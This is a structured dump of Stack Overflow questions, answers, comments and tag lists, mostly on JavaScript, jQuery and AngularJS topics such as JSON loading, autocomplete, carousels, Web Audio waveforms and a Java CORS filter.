has body: Change before() to always return a boolean and make the remainder of the page-1 init() method conditional: before: function(x){ if (!x) { someObj['page-2'].init(); } return x; }, init: function(){ if (this.before(false)) { alert("This is page 1!"); } },
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/25836180

http://stackoverflow.com/comment/56667870
comment on: http://stackoverflow.com/a/28821625
type: AnswerComment
type: Comment
score: 1
has text: The key is the third param: *true*, which makes a deep watch. I tried a lot but the callback function didn't fire ...

http://stackoverflow.com/comment/40451139
type: Comment
comment on: http://stackoverflow.com/q/25851267
type: QuestionComment
score: 0
has text: That did it! Thanks so much. If you paste that comment as an answer I will mark it as so.

http://stackoverflow.com/q/25819113
type: UnansweredQuestion
tagged with: google-chrome
has body: I have a college project I need to present on monday. It's been working great until I updated my browser. So I have a site here which allows you to enter search parameters for tweets which then queries twitter and displays charts showing the sentiment. http://animateoin.com/twitter/ I've checked on older browsers. The content is appended to a div correctly and displays on the page. In the new browser however I get a blank page. I checked Network traffic and I have jquery.js:9597 pending. Could this be the cause? Any help would be greatly appreciated. Kind regards Eoin
type: Question
has comment: http://stackoverflow.com/comment/40390654
has title: Ajax loading Issue Chrome version 37.0.2062.120
has comment: http://stackoverflow.com/comment/40390641
tagged with: javascript
tagged with: jquery
tagged with: ajax
has comment: http://stackoverflow.com/comment/40390671
score: 0
has comment: http://stackoverflow.com/comment/40390662
has comment: http://stackoverflow.com/comment/40390693
answer count: 0

http://stackoverflow.com/a/25759105
score: 0
answers question: http://stackoverflow.com/q/25758928
has comment: http://stackoverflow.com/comment/40280970
has comment: http://stackoverflow.com/comment/40280822
has body: <%= element.description%> is not the same as <%= element.description%> If you use the url with http:// it will not append the current url, but if you just use www.*** there is no way to identified it as a full url. so it will append to the current url. EDIT Not sure why you are missing the HTTP:// part, but you can use following way, $("a").click(function (e) { e.preventDefault(); var url = $(this).attr("href"); if (!url.match(/^[a-zA-Z]+:\/\//)) { url = 'http://' + url; } window.open(url, '_blank'); }); Demo
type: Answer

http://stackoverflow.com/comment/40377486
comment on: http://stackoverflow.com/a/25812212
score: 0
type: AnswerComment
has text: check the values, as suggested in a comment to your question. This can be done by adding `console.log( password ); console.log( confirmPassword' );` after you've assigned the values in javascript - before the "if" condition. the values will show up in your browser's console.
type: Comment

http://stackoverflow.com/comment/40467294
score: 1
type: Comment
comment on: http://stackoverflow.com/q/25861336
type: QuestionComment
has text: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Closures#Creating_closures_in_loops.3A_A_common_mistake

http://stackoverflow.com/q/25829315
has title: Deserialise JSON String to Object with AngularJS using Generate Ionic
tagged with: angularjs
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40410346
upvote count: 3
tagged with: http://stackoverflow.com/tag/json
type: Question
linked to: http://stackoverflow.com/q/6487167
has body: I am following this AngularJS Tutorial. I am successfully able to display a data model array list in the browser (Chrome 37.0.2062.94) when instantiated using object literal notation, where $scope.sentences is of type "Object". Controller: (extract) 'use strict'; angular.module('YeomanIonic.controllers', []) .controller('MapCtrl', ['$scope', '$ionicLoading', '$http', function($scope, $ionicLoading, $http) { $scope.sentences = [ {"name": "Hello", "snippet": "1" }, {"name": "Goodbye", "snippet": "2" } ]; }]); View (extract): &lt;body ng-app="YeomanIonic" ng-controller="MapCtrl"&gt; &lt;ul&gt; &lt;li ng-repeat="sentence in sentences"&gt; &lt;span&gt;{{sentence.name}}&lt;/span&gt; &lt;p&gt;{{sentence.snippet}}&lt;/p&gt; &lt;/li&gt; &lt;/ul&gt; But I get problems when I instead store this array of hashes in a JSON file (i.e. app/data/sentences.json), as follows: sentences.JSON: [ {"name": "Hello", "snippet": "1" }, {"name": "Goodbye", "snippet": "2" } ]; I attempt to use the AngularJS $http service to perform a HTTP GET request to fetch this JSON data. The tutorial mentions that AngularJS detects and parses the JSON response automatically and that the $http service returns a promise object with a success method. So I assumed that the following code would work correctly such that $scope.sentences would be of type "Object", however it informs me that it is of type "String". $http({ method: 'GET', url: 'data/sentences.json' }). success(function(data, status, headers, config) { console.log("HTTP Request - Success"); $scope.sentences = data; console.log(typeof($scope.sentences)); }). error(function(data, status, headers, config) { console.log("HTTP Request - Error"); }); So I attempted to assign it with this following code instead, which gives the following error: $scope.sentences = angular.fromJson(data); SyntaxError: Unexpected token ; at Object.parse (native) at Object.fromJson (http://127.0.0.1:9000/bower_components/angular/angular.js:1139:14) at http://127.0.0.1:9000/scr…
score: 3
has answer: http://stackoverflow.com/a/32203373
has comment: http://stackoverflow.com/comment/40408742
tagged with: javascript
answer count: 1
downvote count: 0
tagged with: deserialization
favorite count: 0

http://stackoverflow.com/a/25746544
upvote count: 2
has comment: http://stackoverflow.com/comment/40262090
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40262402
has comment: http://stackoverflow.com/comment/40262676
type: Answer
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/40262511
accepted answer of: http://stackoverflow.com/q/25745813
has comment: http://stackoverflow.com/comment/40265230
has comment: http://stackoverflow.com/comment/40263622
answers question: http://stackoverflow.com/q/25745813
has body: The identifier examinador.nome is used by the templating engine; it is not accessible to scripts running on the page after the text has been written out by the templating engine. Instead, you can have your templating code write out any data you need as data- attribute strings on the element (using - to output an HTML-escaped value): &lt;% _.each(c.getExaminadores(), function(examinador){ %&gt; &lt;li data-nome="&lt;%- examinador.nome %&gt;"&gt;&lt;img width='80' height='80' src="data:image/jpeg;base64,&lt;%= examinador.fotografia %&gt;"&gt;&lt;%- examinador.nome %&gt;&lt;/li&gt; &lt;% }); %&gt; Then access it with jQuery's .data: $('#listExaminadorBaliza').on('click', 'li', function(){ alert($(this).data("nome")); // or alert($(this).attr("data-nome")); });

http://stackoverflow.com/q/25756196
has comment: http://stackoverflow.com/comment/40275783
has comment: http://stackoverflow.com/comment/40312183
has comment: http://stackoverflow.com/comment/40275671
has comment: http://stackoverflow.com/comment/40276549
type: UnansweredQuestion
has title: jQuery autocomplete with JSON not using "value" or "label"
has body: Sorry if there is a decent example of this somewhere outer, I've been looking for days and can't find a solution. Gathering data from JSON file "database.json": "[{\"id\":\"1\",\"state\":\"Alaska\"},{\"id\":\"2\",\"state\":\"Alabama\"},{\"id\":\"3\",\"state\":\"California\"}]" Here is my most recent attempt that failed: $("#state").autocomplete({ source: function( request, response ) { $.ajax({ url: "database.json", dataType: "json", data: {term: request.term}, success: function(data) { console.log(data) response($.map(data, function(item) { return { label: item.state, id: item.id, }; })); } }); }, minLength: 2, select: function(event, ui) { $('#state_id').val(ui.item.id); } }); And of course the html: &lt;input type="text" id="state"/&gt; I have no idea where to go from here, I just want a simple drop down autocomplete. Let me know if more information is needed and I can provide. Thank you!
has comment: http://stackoverflow.com/comment/40275744
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40276436
has comment: http://stackoverflow.com/comment/40275884
type: Question
has comment: http://stackoverflow.com/comment/40276336
has comment: http://stackoverflow.com/comment/40276081
tagged with: autocomplete
has comment: http://stackoverflow.com/comment/40279154
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40275688
score: 0
has comment: http://stackoverflow.com/comment/40275896
has comment: http://stackoverflow.com/comment/40276090
has comment: http://stackoverflow.com/comment/40276043
answer count: 1
has answer: http://stackoverflow.com/a/25778614

http://stackoverflow.com/a/34729279
upvote count: 7
downvote count: 5
has body: The error is try to fix a Youtube error. The solution to avoid your Javascript-Console-Error complex is to accept that Youtube (and also other webpages) can have Javascript errors that you can't fix. That is all.
type: Answer
score: 2
answers question: http://stackoverflow.com/q/25814914

web-services
type: Tag
tags question: http://stackoverflow.com/q/25832268
tags question: http://stackoverflow.com/q/25786675
tag name: web-services
tags question: http://stackoverflow.com/q/25851898
tags question: http://stackoverflow.com/q/25861061

http://stackoverflow.com/comment/47107534
score: 1
type: AnswerComment
type: Comment
has text: oddly, .in my case `end(function(res)` returns null and `end(function(err, res)` returns null `err` and a proper `res`
comment on: http://stackoverflow.com/a/25716472

http://stackoverflow.com/comment/40449701
has text: @Barmar he is in the fiddle
comment on: http://stackoverflow.com/q/25851803
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25841777
tagged with: jquery
has comment: http://stackoverflow.com/comment/40436899
has comment: http://stackoverflow.com/comment/40437273
has comment: http://stackoverflow.com/comment/40432489
tagged with: http://stackoverflow.com/tag/html
has title: Is it possible to generate a text or xml file from local storage data and save it in a folder?
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25842097
score: 0
possible better answer: http://stackoverflow.com/a/25845216
has answer: http://stackoverflow.com/a/25845216
has comment: http://stackoverflow.com/comment/40431839
type: Question
tagged with: javascript
linked to: http://stackoverflow.com/q/2897619
accepted answer: http://stackoverflow.com/a/25842097
answer count: 2
tagged with: local
has comment: http://stackoverflow.com/comment/40431978
has body: I'm working on a website that is going to be offline. All the html files will be in a folder stored on the hard-disc. I've managed to do 90% of the work and the last part I have no idea of. Here is what it is: I have stored a list of products in the localStorage as various strings under the keys - like buying objects and it goes to the cart, the cart objects are in localStorage. I created a page that showed the list of all the products in the localStorage. It can be cleared if the user clears them. Now I need to create a page where all the objects that was selected before, regardless of the localStorage being cleared, show as list in this page. You can take it as the page that lists products that have been ordered in the past, i.e even after the cart is cleared the products will show in the past-orders page. I do not know any server side codes, I did everything using JavaScript as it was supposed to be a simple project, but I'm stuck at this part. So I cannot use PHP or anything to generate files or use a database to store stuff. Here's what I thought but I don't think it works but wanted to confirm if it does or not: Generate an XML file or a .txt file and store it in the drive and then clear the localStorage. But I don't think it is possible. If its possible just using JavaScript please point me in the right direction and I'll research and come up with something. P.S. the website will be entirely offline what I mean is the users will never connect to the internet for this to work. Also there won't be a server or localhost. Thank you! The site is completely offline, but functionality is similar to an eCommerce site. You click a button and some content from the website stores in the localStorage and I have to call it in multiple pages, when a user clicks another button, localStorage clears but whatever was selected before must be available without localStorage. Hmmmm.. Consider a quiz site where you answer everything and when you take a new quiz, old scores will be …
has comment: http://stackoverflow.com/comment/40437253

http://stackoverflow.com/q/25785591
tagged with: watin
has answer: http://stackoverflow.com/a/25801847
has answer: http://stackoverflow.com/a/29001586
type: AnsweredQuestion
has title: Watin won't fire .change() event manually
has body: I have a selectlist: Underwriting Claim and I have the code: worksheetTypes.Option("Claim").Select(); ProtectionInfoTab.Frame(Find.ById("contentIFrame")).Eval("$('#il_worksheettype').change();"); The problem is that for some reason it just wont run the javascript or at least this is the impression I'm getting. When this code there are no exceptions thrown but it just does not seem to do anything when it should be making options on another selectlist appear. any ideas?
type: Question
tagged with: c#
possible better answer: http://stackoverflow.com/a/25785699
linked to: http://stackoverflow.com/q/10191099
accepted answer: http://stackoverflow.com/a/29001586
has answer: http://stackoverflow.com/a/25785699
score: 0
answer count: 3
tagged with: javascript

http://stackoverflow.com/q/25717534
answer count: 1
downvote count: 0
favorite count: 0
has body: I'm currently using this in my controller right now: (new to angular don't beat me) app.controller('userLogin', ['$scope', '$http', '$location', '$route', function ($scope, $http, $location, $route) { activeLink = 'userLogin'; $scope.submitForm = function(valid) { if (valid) { $http.defaults.headers.post["Content-Type"] = "application/x-www-form-urlencoded"; $http.post('/user/login', $('#userLoginForm').serialize()) .success(function(data) { $route.reload(); }); } } }]); Which works fine, when I reload the page the navbar login/create links disappear and is replaced with logout and what not, but my problem is the navbar doesn't reload unless I manually hit CTRL+R I've tried using $location.path('/'); and $route.reload(); but my navbar doesn't change still unless I manually reload the page.
tagged with: angularjs
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40203834
linked to: http://stackoverflow.com/q/2825586
score: 2
linked to: http://stackoverflow.com/q/503093
upvote count: 2
has comment: http://stackoverflow.com/comment/40203621
type: Question
tagged with: javascript
has title: How to reload / redirect page after successful login?
has answer: http://stackoverflow.com/a/25717547
linked to: http://stackoverflow.com/q/8277462

http://stackoverflow.com/comment/40369399
has text: @AKG I am using Chrome Version 37.0.2062.94 (64-bit) for RPM-based Linux, and both your fiddle (wydsf2vk) and Anshuman's display a scroll bar in my browser.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25808048
type: Comment

http://stackoverflow.com/a/25855851
score: 0
answers question: http://stackoverflow.com/q/25855229
type: Answer
has body: .modal('show') calling before modal initialization $(this).modal({ function you used as argument in $('div#styledModal3').load( is just a success callback which fired only after load has completed. So initialization is called after you trying to show your modal. Your code should looks like this function crop(imgurl) { $('#preview').attr('src',imgurl); $('div#styledModal3').load(function(){ $(this).modal({ keyboard:true, backdrop:true, show: true }); }); }
has comment: http://stackoverflow.com/comment/53911706

http://stackoverflow.com/comment/40232843
has text: Thank you all. Please see my edited post above. Kidnly let me know for any further information. As am a newbie to this website, finding little difficult to paste code snippets. Now i learnt it. :)
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25732674
score: 0

c#
tags question: http://stackoverflow.com/q/25728430
tags question: http://stackoverflow.com/q/25756787
tags question: http://stackoverflow.com/q/25863521
tags question: http://stackoverflow.com/q/25742315
tags question: http://stackoverflow.com/q/25873097
tags question: http://stackoverflow.com/q/25792324
tags question: http://stackoverflow.com/q/25754248
tags question: http://stackoverflow.com/q/25732403
tags question: http://stackoverflow.com/q/25868000
tags question: http://stackoverflow.com/q/25722103
tags question: http://stackoverflow.com/q/25771146
tags question: http://stackoverflow.com/q/25722711
tags question: http://stackoverflow.com/q/25766624
tags question: http://stackoverflow.com/q/25843230
tag name: c#
tags question: http://stackoverflow.com/q/25833221
tags question: http://stackoverflow.com/q/25729410
tags question: http://stackoverflow.com/q/25731518
tags question: http://stackoverflow.com/q/25851046
tags question: http://stackoverflow.com/q/25767202
tags question: http://stackoverflow.com/q/25722703
tags question: http://stackoverflow.com/q/25861222
tags question: http://stackoverflow.com/q/25747909
tags question: http://stackoverflow.com/q/25816881
tags question: http://stackoverflow.com/q/25835819
tags question: http://stackoverflow.com/q/25789185
tags question: http://stackoverflow.com/q/25851891
tags question: http://stackoverflow.com/q/25846246
tags question: http://stackoverflow.com/q/25846419
tags question: http://stackoverflow.com/q/25810820
tags question: http://stackoverflow.com/q/25821920
tags question: http://stackoverflow.com/q/25767074
tags question: http://stackoverflow.com/q/25785591
tags question: http://stackoverflow.com/q/25844307
tags question: http://stackoverflow.com/q/25856518
tags question: http://stackoverflow.com/q/25740411
tags question: http://stackoverflow.com/q/25821394
tags question: http://stackoverflow.com/q/25742431
tags question: http://stackoverflow.com/q/25758914
tags question: http://stackoverflow.com/q/25718230
tags question: http://stackoverflow.com/q/25815919
tags question: http://stackoverflow.com/q/25785579
tags question: http://stackoverflow.com/q/25867552
tags question: http://stackoverflow.com/q/25810225
tags question: http://stackoverflow.com/q/25731797
tags question: http://stackoverflow.com/q/25742793
tags question: http://stackoverflow.com/q/25740354
tags question: http://stackoverflow.com/q/25734668
tags question: http://stackoverflow.com/q/25830540
tags question: http://stackoverflow.com/q/25847173
tags question: http://stackoverflow.com/q/25739428
tags question: http://stackoverflow.com/q/25717674
tags question: http://stackoverflow.com/q/25791916
tags question: http://stackoverflow.com/q/25776357
tags question: http://stackoverflow.com/q/25803265
tags question: http://stackoverflow.com/q/25737172
tags question: http://stackoverflow.com/q/25787166
tags question: http://stackoverflow.com/q/25768272
type: Tag
tags question: http://stackoverflow.com/q/25758415
tags question: http://stackoverflow.com/q/25854316
tags question: http://stackoverflow.com/q/25716668
tags question: http://stackoverflow.com/q/25791334
tags question: http://stackoverflow.com/q/25840311
tags question: http://stackoverflow.com/q/25756424
tags question: http://stackoverflow.com/q/25832268
tags question: http://stackoverflow.com/q/25794831
tags question: http://stackoverflow.com/q/25806723
tags question: http://stackoverflow.com/q/25840368
tags question: http://stackoverflow.com/q/25737814
tags question: http://stackoverflow.com/q/25799460
tags question: http://stackoverflow.com/q/25784074
tags question: http://stackoverflow.com/q/25746436
tags question: http://stackoverflow.com/q/25802301

http://stackoverflow.com/q/25836447
has answer: http://stackoverflow.com/a/25838151
type: AnsweredQuestion
tagged with: waveform
has body: I'm trying to generate a static waveform like in audio editing apps with webaudio and canvas. Right now I'm loading an mp3, creating a buffer, iterating over the data returned by getChannelData. The problem is.. I don't really understand what's being returned. What is being returned by getChannelData - is it appropriate for a waveform? How to adjust (sample size?) to get one peak == one second? Why are ~50% of the values are negative? ctx.decodeAudioData(req.response, function(buffer) { buf = buffer; src = ctx.createBufferSource(); src.buffer = buf; //create fft fft = ctx.createAnalyser(); var data = new Uint8Array(samples); fft.getByteFrequencyData(data); bufferL = buf.getChannelData(0) for(var i = 0; i&lt;buf.length; i++){ n = bufferL[i*(1000)] gfx.beginPath(); gfx.moveTo(i +0.5, 300); gfx.lineTo(i +0.5, 300 + (-n*100)); gfx.stroke(); What I'm generating: What I'd like to generate: Thanks
score: 7
upvote count: 7
has title: Generating a static waveform with webaudio
type: Question
tagged with: canvas
accepted answer: http://stackoverflow.com/a/25838151
downvote count: 0
tagged with: javascript
answer count: 1
tagged with: web-audio-api
favorite count: 0

http://stackoverflow.com/comment/40386971
has text: if i use if ($(window).scrollTop() == $(document).height() - $(window).height()){alert("bottom");} i get alert when i scroll all the way up instead of down..
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25813680
type: AnswerComment

http://stackoverflow.com/comment/40397585
comment on: http://stackoverflow.com/q/25806223
score: 0
type: Comment
type: QuestionComment
has text: @Geremy thanks for your response. Good to know that the process should automatically close when unsubscribed from all channels. I've send a message with this issue to support@pubnub.com

http://stackoverflow.com/a/25864276
has comment: http://stackoverflow.com/comment/40478037
has comment: http://stackoverflow.com/comment/40478289
has comment: http://stackoverflow.com/comment/40479009
has comment: http://stackoverflow.com/comment/40478146
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40479140
has comment: http://stackoverflow.com/comment/40477622
has comment: http://stackoverflow.com/comment/40485910
has comment: http://stackoverflow.com/comment/40478429
type: Answer
has body: Using setInterval as an external loop construct slows the calculation down. You set it to 5 ms for a single pixel, however the entire Mandelbrot map calculation can be done within 1 second. So a single call to your function draws a pixel very quickly and then waits about the 99.99% of that 5 milliseconds. I replaced if (m&lt;=(width+1)) with while (m&lt;=(width+1)) and removed the setInterval. This way the entire calculation is done in one step, without refresh to the screen and without using setInterval as an external loop construct. I forked your script and modified it: http://jsfiddle.net/karatedog/2o4gjrv2/6/ In the script I modified the bailout condition from (x*x &lt; 2 &amp;&amp; y*y &lt; 2) to (x &lt; 2 &amp;&amp; y &lt; 2) just as I suggested in a previous comment and revealed some hidden pixel, check the difference!
accepted answer of: http://stackoverflow.com/q/25849412
score: 1
answers question: http://stackoverflow.com/q/25849412
upvote count: 1

d3.js
tags question: http://stackoverflow.com/q/25860108
tags question: http://stackoverflow.com/q/25804800
tags question: http://stackoverflow.com/q/25737695
tags question: http://stackoverflow.com/q/25833248
tags question: http://stackoverflow.com/q/25738511
tags question: http://stackoverflow.com/q/25857786
tags question: http://stackoverflow.com/q/25796913
tags question: http://stackoverflow.com/q/25837734
tags question: http://stackoverflow.com/q/25714744
tags question: http://stackoverflow.com/q/25872281
tags question: http://stackoverflow.com/q/25738548
tags question: http://stackoverflow.com/q/25733549
tags question: http://stackoverflow.com/q/25716427
tags question: http://stackoverflow.com/q/25750109
tags question: http://stackoverflow.com/q/25839834
tags question: http://stackoverflow.com/q/25850362
tags question: http://stackoverflow.com/q/25810980
tags question: http://stackoverflow.com/q/25849111
type: Tag
tags question: http://stackoverflow.com/q/25861080
tags question: http://stackoverflow.com/q/25848099
tags question: http://stackoverflow.com/q/25774072
tags question: http://stackoverflow.com/q/25820335
tags question: http://stackoverflow.com/q/25852763
tags question: http://stackoverflow.com/q/25726459
tags question: http://stackoverflow.com/q/25789086
tags question: http://stackoverflow.com/q/25717073
tags question: http://stackoverflow.com/q/25776696
tags question: http://stackoverflow.com/q/25778666
tags question: http://stackoverflow.com/q/25779062
tags question: http://stackoverflow.com/q/25720931
tags question: http://stackoverflow.com/q/25836294
tags question: http://stackoverflow.com/q/25789097
tags question: http://stackoverflow.com/q/25806304
tags question: http://stackoverflow.com/q/25783454
tags question: http://stackoverflow.com/q/25872726
tag name: d3.js
tags question: http://stackoverflow.com/q/25781386
tags question: http://stackoverflow.com/q/25856489
tags question: http://stackoverflow.com/q/25850425
tags question: http://stackoverflow.com/q/25834050
tags question: http://stackoverflow.com/q/25742645
tags question: http://stackoverflow.com/q/25869483
tags question: http://stackoverflow.com/q/25784961
tags question: http://stackoverflow.com/q/25812195
tags question: http://stackoverflow.com/q/25765962
tags question: http://stackoverflow.com/q/25781440
tags question: http://stackoverflow.com/q/25860758
tags question: http://stackoverflow.com/q/25740894
tags question: http://stackoverflow.com/q/25797977
tags question: http://stackoverflow.com/q/25845234
tags question: http://stackoverflow.com/q/25863614
tags question: http://stackoverflow.com/q/25872777
tags question: http://stackoverflow.com/q/25853471
tags question: http://stackoverflow.com/q/25741870
tags question: http://stackoverflow.com/q/25872630
tags question: http://stackoverflow.com/q/25798096
tags question: http://stackoverflow.com/q/25835669
tags question: http://stackoverflow.com/q/25778084
tags question: http://stackoverflow.com/q/25740701
tags question: http://stackoverflow.com/q/25777361
tags question: http://stackoverflow.com/q/25835378

http://stackoverflow.com/comment/40223532
comment on: http://stackoverflow.com/a/25717191
type: AnswerComment
has text: As for why it's not working -- One thing I should mention is that `pack` is really, REALLY dumb. It assumes a flat object, so something like `Hello.connection = function(){}` would work, but `Hello.connection.send = function(){}` would not (because of the nested nature of `send`...so it would never be `toString()`ed) For that, you would need to update the `pack` method and add some recursion to pack the child properties as well. Hope that helps! If you have trouble doing that, I'll be happy to assist.
type: Comment
score: 1

header
type: Tag
tags question: http://stackoverflow.com/q/25727306
tag name: header
tags question: http://stackoverflow.com/q/25754378

http://stackoverflow.com/comment/40368018
comment on: http://stackoverflow.com/a/25805964
score: 0
type: AnswerComment
type: Comment
has text: Tried putting the header in and still the same, this chart works perfectly when I request a specific variable in the php file myself. It's something to do with the variable not passing from the html form > chart page > to the php file, and back

http://stackoverflow.com/q/25719919
has answer: http://stackoverflow.com/a/25720019
upvote count: 1
type: AnsweredQuestion
has title: How to design a frozen left navigation column for vertical scrolling?
accepted answer: http://stackoverflow.com/a/25720019
type: Question
downvote count: 0
tagged with: javascript
has answer: http://stackoverflow.com/a/25720065
has answer: http://stackoverflow.com/a/25720197
favorite count: 0
has body: as in Google news or pulsme land pages. Obviously, the main advantage of this being when user scrolls down in the main document, the navigation-menu is still remains visible the screen. I tried position:fixedfor the &lt;td&gt; element. But the problem is that when the page is viewed on a mobile device (small screen) the text mixes with the main content. I am okay with the solution which is not table but preferably should not use any external libraries. I also tried &lt;iframe&gt;... but could not get it running. Thanks!
tagged with: http://stackoverflow.com/tag/html
possible better answer: http://stackoverflow.com/a/25719998
score: 1
tagged with: css
has answer: http://stackoverflow.com/a/25719998
answer count: 4
has comment: http://stackoverflow.com/comment/40207926
has comment: http://stackoverflow.com/comment/40207946

http://stackoverflow.com/a/25834339
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25740353
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: That's correct, scripts added via pagemod are in a different JS sandbox from those added by tabs.attach. What you could do is inject the functions into the actual window using the new exportFunction() function - this way the function is in the real window and will always get overwritten. You can then call it from unsafeWindow..
score: 1
answers question: http://stackoverflow.com/q/25740353

http://stackoverflow.com/a/25722796
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/25722711
has comment: http://stackoverflow.com/comment/40292517
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40288671
accepted answer of: http://stackoverflow.com/q/25722711
has comment: http://stackoverflow.com/comment/40289360
has body: Try using e.preventDefault() and make some changes as shown below :- &lt;script type="text/javascript"&gt; //$("#dialog-confirm").hide(); $(function () { $(".enableDisable").click(function (e) { e.preventDefault(); var url = $(this).attr('href'); $("#dialog-confirm").dialog({ resizable: false, height: 220, width: 475, modal: true, buttons: { "OK": function () { //$(this).dialog("close"); window.location.href = url; //&lt;------- }, "Cancel": function () { $(this).dialog("close"); } } }); $("#dialog-confirm").dialog("open"); // &lt;------- open dialog this way. }); }); &lt;/script&gt;
has comment: http://stackoverflow.com/comment/40292219
has comment: http://stackoverflow.com/comment/40289245
upvote count: 1
has comment: http://stackoverflow.com/comment/40292659
has comment: http://stackoverflow.com/comment/40288546

http://stackoverflow.com/a/25842955
has body: Use like below string test = "1,2"; System.Web.UI.ScriptManager.RegisterClientScriptBlock(Page, typeof(Page), "Script", "OpenCenterWindow('" + test + "');", true); You need to pass the values in single quotes' or double quotest " Edit 1 When you call a function and if you have to pass a static values you always use ' or " in javascript.
upvote count: 1
type: AcceptedAnswer
type: Answer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25842775
score: 1
answers question: http://stackoverflow.com/q/25842775

http://stackoverflow.com/comment/40433040
type: Comment
comment on: http://stackoverflow.com/a/25842075
type: AnswerComment
has text: Thanks for your advise. But our whole app is already using rails i18n. I think maintaining both i18n rails and js should be horrible :(. So My solution was, print the i18n word without %{version} and used jquery .prepend(os)
score: 0

http://stackoverflow.com/comment/40286969
score: 2
has text: You are getting a string from the `.value` calls, which you should convert to a number first by using `parseFloat()` or `parseInt()`. Otherwise the `+` operator is a string operator ...
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25762787

http://stackoverflow.com/comment/40316628
comment on: http://stackoverflow.com/a/25757039
type: Comment
score: 2
type: AnswerComment
has text: I'm certain this is correct. It's always been `Meteor.Collection` and the change has been very recent. To demonstrate this, have a look at [this meteorpad](http://meteorpad.com/pad/HnhECZsMqFDWM9yDC). Running 0.9.1.1, it will work with either namespace. If you switch to an earlier version of meteor and use `Mongo.Collection`, it will fail. If it isn't working locally for you, you should check that your local application is running 0.9.1.1 by running `meteor update`.

http://stackoverflow.com/comment/40247813
has text: @Gagan If I change to the :javascript tag, my ruby code stop working, I know this is weird but this is the reason why I use %script(type="text/javascript") instead :javascript
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25740096

http://stackoverflow.com/q/25752187
tagged with: jquery
favorite count: 0
type: Question
tagged with: http://stackoverflow.com/tag/html
linked to: http://stackoverflow.com/q/10521257
tagged with: carousel
has answer: http://stackoverflow.com/a/25753130
accepted answer: http://stackoverflow.com/a/25753130
has comment: http://stackoverflow.com/comment/40269684
has title: Bootstrap carousel with thumbnails (Multiple Carousel)
upvote count: 2
tagged with: twitter-bootstrap
answer count: 1
tagged with: javascript
has comment: http://stackoverflow.com/comment/40268498
type: AnsweredQuestion
score: 2
downvote count: 0
has body: I was looking up how to create a Bootstrap carousel with thumbnails, and I came across this: http://jsfiddle.net/xuhP9/67/ $('#myCarousel').carousel({ interval: 4000 }); $('[id^=carousel-selector-]').click(function () { var id_selector = $(this).attr("id"); var id = id_selector.substr(id_selector.length - 1); id = parseInt(id); $('#myCarousel').carousel(id); $('[id^=carousel-selector-]').removeClass('selected'); $(this).addClass('selected'); }); $('#myCarousel').on('slid', function (e) { var id = $('.item.active').data('slide-number'); id = parseInt(id); $('[id^=carousel-selector-]').removeClass('selected'); $('[id^=carousel-selector-' + id + ']').addClass('selected'); }); Which works well, however, I need to have multiple carousel in a page, and I am not quite sure how I can accomplish this. I tired to switch the id selector into a class selector so I can create more than one. But I am not sure how to actually fix the JS functionality to make it work since they seem to be blinded together. Basically, this is what I am trying to accomplish: http://jsfiddle.net/xuhP9/70/ but without repeating the JS for each independent carousel I create. Thanks in advance!

http://stackoverflow.com/comment/40219761
score: 0
type: AnswerComment
has text: Mark it as an answer in case someone stumbles on it. ^^
type: Comment
comment on: http://stackoverflow.com/a/25725928

http://stackoverflow.com/a/33907828
has comment: http://stackoverflow.com/comment/67003761
has comment: http://stackoverflow.com/comment/85043526
has comment: http://stackoverflow.com/comment/66996075
has body: If that helps anyone, (even if this is kind of poor as we must only allow this for dev purpose) here is a Java solution as I encountered the same issue. [Edit] Do not use the wild card * as it is a bad solution, use localhost if you really need to have something working locally. public class SimpleCORSFilter implements Filter { public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { HttpServletResponse response = (HttpServletResponse) res; response.setHeader("Access-Control-Allow-Origin", "my-authorized-proxy-or-domain"); response.setHeader("Access-Control-Allow-Methods", "POST, GET"); response.setHeader("Access-Control-Max-Age", "3600"); response.setHeader("Access-Control-Allow-Headers", "Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With"); chain.doFilter(req, res); } public void init(FilterConfig filterConfig) {} public void destroy() {} }
upvote count: 59
downvote count: 1
type: Answer
score: 58
answers question: http://stackoverflow.com/q/25727306

http://stackoverflow.com/a/25717389
has body: You can add more than one action to an ng-click. In this case, you might want to first prevent the click event propogating, then trigger your sub-action: Some Text here As an alternative, you could pass $event as the first argument of your functions, and stop propogation there. This is, IMHO, cleaner.
type: Answer
answers question: http://stackoverflow.com/q/25717331
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40217535
has comment: http://stackoverflow.com/comment/75236165

http://stackoverflow.com/q/25746204
answer count: 1
accepted answer: http://stackoverflow.com/a/25746486
tagged with: javascript
has comment: http://stackoverflow.com/comment/40257081
has comment: http://stackoverflow.com/comment/40256881
has comment: http://stackoverflow.com/comment/40257263
score: 0
has title: Copying a variable number of methods from one place to another in Java
has answer: http://stackoverflow.com/a/25746486
has comment: http://stackoverflow.com/comment/40257049
has comment: http://stackoverflow.com/comment/40256904
has body: I was wondering what would be the most efficient way of porting the following JavaScript code to Java? // Copies a variable number of methods from source to target. rebind = function(target, source) { var z = 1, c = arguments.length, func; while (++z &lt; c) { target[func = arguments[z]] = rebind(target, source, source[func]); } return target; }; // method is a getter-setter: // If passed with no arguments, gets the value. // If passed with arguments, sets the value and returns target. function rebind(target, source, func) { return function() { var value = func.apply(source, arguments); return value === source ? target : value; }; }
